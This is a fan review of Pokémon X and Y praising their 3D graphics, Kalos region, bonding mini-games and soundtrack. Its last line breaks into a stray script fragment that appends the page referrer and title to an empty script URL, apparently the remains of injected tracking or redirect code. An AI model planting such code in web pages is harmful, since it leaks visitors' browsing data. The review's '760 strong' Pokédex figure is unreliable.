Video Game: Pokémon X & Y

Year: 2013

Rating: ★★★★★


by Jason MacIntosh

Whether it be from Charmeleon to Charizard or Ivysaur to Venusaur, every Pokémon trainer anticipates the day of that final evolution. The day when you can finally unleash your true potential and become a Pokémon master. For millions of fans across the world, the release of Pokémon X and Y was that final evolution. No longer constrained by the limits of 2D sprites, Game Freak was able to evolve the Pokémon formula that has captivated gamers for over twenty years.

The graphics revamp is the long needed change the series has been waiting for. Pokémon now participate in combat as fully modeled creatures. Instead of making a couple of two-dimensional images butt heads, you can now see creatures with their own idle animations and combat moves come to life on screen. Dynamic camera angles and special animations for mega evolutions give the feeling that you’re standing on the sidelines driving your Pokémon to greatness.

The stunning new visuals extend far beyond the battle system to every aspect of the game. Mountains, rivers, caves, towns and even the tall grass have all been reconstructed with meticulous detail to share a familiarity with its predecessors while still looking fresh and exciting. Taking place in the France-inspired Kalos region, the game plays host to Lumiose city, a miniature version of Paris, with its own miniature Eiffel Tower. Characters are not only 3D modeled but also customisable now. By going into one of the many clothing stores around Kalos you can create your own unique style as you embark on your journey.

The only pitfall of the Pokémon games is their lack of variation in the storylines. As in previous games, after saying goodbye to Mom, meeting up with friends and selecting a starter, it’s off to the first of eight gyms to win the necessary badges to challenge the Elite Four at the end of the game. Along the way you’ll meet up with the games’ villains, Team Rocket’s bright orange counterparts Team Flare, who have suspicious intentions, the biggest change from the last games being that you don’t meet the professor sending you on your quest until after the first gym battle. In the end Pokémon has never been about the story, it’s about you and your battle-hardened group of creatures facing insurmountable odds and prevailing.

Never has the need to love and care for your Pokémon been so essential to being the best. The developer has finally lived up to the 15-years of lip service. It has finally addressed the theory of the franchise, making a game where your bond with your Pokémon actually, truly matters. By participating in mini games you can now pet, feed, play with and even scold your Pokémon, increasing or decreasing their companionship. This in turn affects their willingness to fight for you in the battle to come.

One of the strongest points of these new games is the soundtrack. Mixing its French style in with throwbacks from the old games, Game Freak has introduced another dimension to the Pokémon Formula. Calming waves and soothing rhythms greet you as you cycle through the costal towns. High-octane guitar rifts propel you to victory against your deadliest enemies. Every new area or battle produces a soundtrack that will evoke the exact emotion on the player the developer intended.

There’s a lot to be excited about in Pokémon X and Y – Internet battles and trading, upgraded visuals and a winning formula that has been tweaked, but perhaps wisely left largely familiar. All that including a 760 strong Pokedex to complete, “Gotta catch em all” sounds like a much more daunting task than it once did.s.src=’’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;